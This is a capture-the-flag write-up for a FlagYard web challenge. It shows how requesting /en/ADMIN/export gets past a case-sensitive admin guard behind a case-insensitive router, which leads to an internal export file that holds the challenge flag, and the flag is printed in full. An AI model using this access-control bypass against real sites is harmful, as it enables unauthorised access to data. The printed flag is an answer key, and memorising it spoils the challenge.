Skip to content
Adam Omar Saleh

FlagYard CTF placeholder badge (unofficial)FlagYard CTFWeb

FlowDesk / LinguaDesk

The app serves localized routes under /en/, /ar/, /fr/. The admin export desk at /en/admin/export returns 403 for a normal employee.

Competition
FlagYard CTF placeholder badge (unofficial)FlagYard CTF
Category
WebHard (صعب)
Source status
Source-documented · not platform-verified
Document
PDF edition3 min read

Brief

The challenge

Category
WEB
Difficulty
Hard (صعب)
Target
http://<instance>.playat.flagyard.com

FlowDesk is a workflow automation SaaS... Create an account and see how far a new workspace can actually reach. FLAG @ /run/secrets/flag

The deployed app is actually LinguaDesk, a small localization employee portal. The flag turns out to be embedded in an admin-only export, reachable through a case-sensitivity bug in the authorization layer.

TL;DR

The app serves localized routes under /en/, /ar/, /fr/. The admin export desk at /en/admin/export returns 403 for a normal employee. Express matches routes case-insensitively, but the admin guard compares the path case-sensitively, so requesting /en/ADMIN/export reaches the handler while skipping the role check. From there the export's download link points to an internal file that contains the flag.

Text
/en/admin/export      → 403 Forbidden  (employee)/en/ADMIN/export      → 200 OK         (guard bypassed)   → /en/ADMIN/export/weekly-backup → download: /internal/files/export_93ac.json      → /internal/files/export_93ac.json → { "flag": "FlagY{...}" }

01

Recon

The root redirects to /login. The login page is branded LinguaDesk and helpfully pre-fills an issued account:

  • Username: lina.farouk

  • Password: desk-4419

Logging in via POST /en/api/login sets a signed session cookie:

Text
ld_session=<base64url({"uid":"emp_1042","exp":...})>.<base64url(HMAC-SHA256)>

The dashboard shows a desk directory (Lina — employee, Camille — employee, Samir — administrator) and an Archive export card linking to /en/admin/export, noting that "Only platform administrators can produce them."

02

Dead ends

  • Session forgery: The signature is validated correctly — tampering with the payload, dropping the signature, or omitting it all return 401. A quick HMAC key brute with common secrets found nothing.

  • Locale traversal: Locale is strictly validated (en/ar/fr); anything else returns {"error":"Unsupported locale"}.

  • Registration: Despite the "create an account" hint, no signup/register endpoint exists (all 404).

  • /en/admin/export returns 403 Forbidden for the employee session.

03

The authorization bypass

Testing path/case variants of the forbidden route:

RequestStatus
/en/admin/export403
/en/admin//export403
/en/./admin/export403
/en/admin/Export403
/en/ADMIN/export200

The route handler matches case-insensitively, but the middleware that enforces role == admin checks the path (e.g. startsWith('/admin') or an equivalent lowercase-sensitive match). Upper-casing ADMIN slips past the guard while still hitting the handler.

GET /en/ADMIN/export:

JSON
{  "exports": [    { "id": "weekly-backup", "status": "ready" },    { "id": "daily-digest",  "status": "processing" }  ]}

04

Reaching the flag

Requesting the ready export returns its internal download path:

Text
GET /en/ADMIN/export/weekly-backup{  "filename": "weekly-backup.json",  "download": "/internal/files/export_93ac.json"}

Fetching that file (also gated behind the same bypassed session) returns the archive — with the flag inline:

Text
GET /internal/files/export_93ac.json{  "export": "weekly-backup",  "generated": "2026-03-29T02:10:00Z",  "note": "Internal archive for the localization desk.",  "flag": "FlagY{c474f1f77215b95f0f934a4521e2faab}"}

Path-traversal attempts on /internal/files/ were not needed; the flag ships inside the weekly backup.

Solve steps

  1. Log in with the issued account lina.farouk / desk-4419 to get a valid ld_session.

  2. Confirm /en/admin/export is 403 for the employee role.

  3. Bypass the role guard with the case variant: GET /en/ADMIN/export.

  4. Read the ready export: GET /en/ADMIN/export/weekly-backup → download link /internal/files/export_93ac.json.

  5. Fetch that internal file and read the flag field.

Flag

Flag

FlagY{c474f1f77215b95f0f934a4521e2faab}

Source-documented · not platform-verified

Takeaways

  • Authorization checks must normalize the path exactly the way the router does. A case-insensitive router plus a case-sensitive guard is a classic broken-access-control bypass.

  • When a signed token can't be forged, pivot to the routes it protects rather than the token itself.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 4 pages.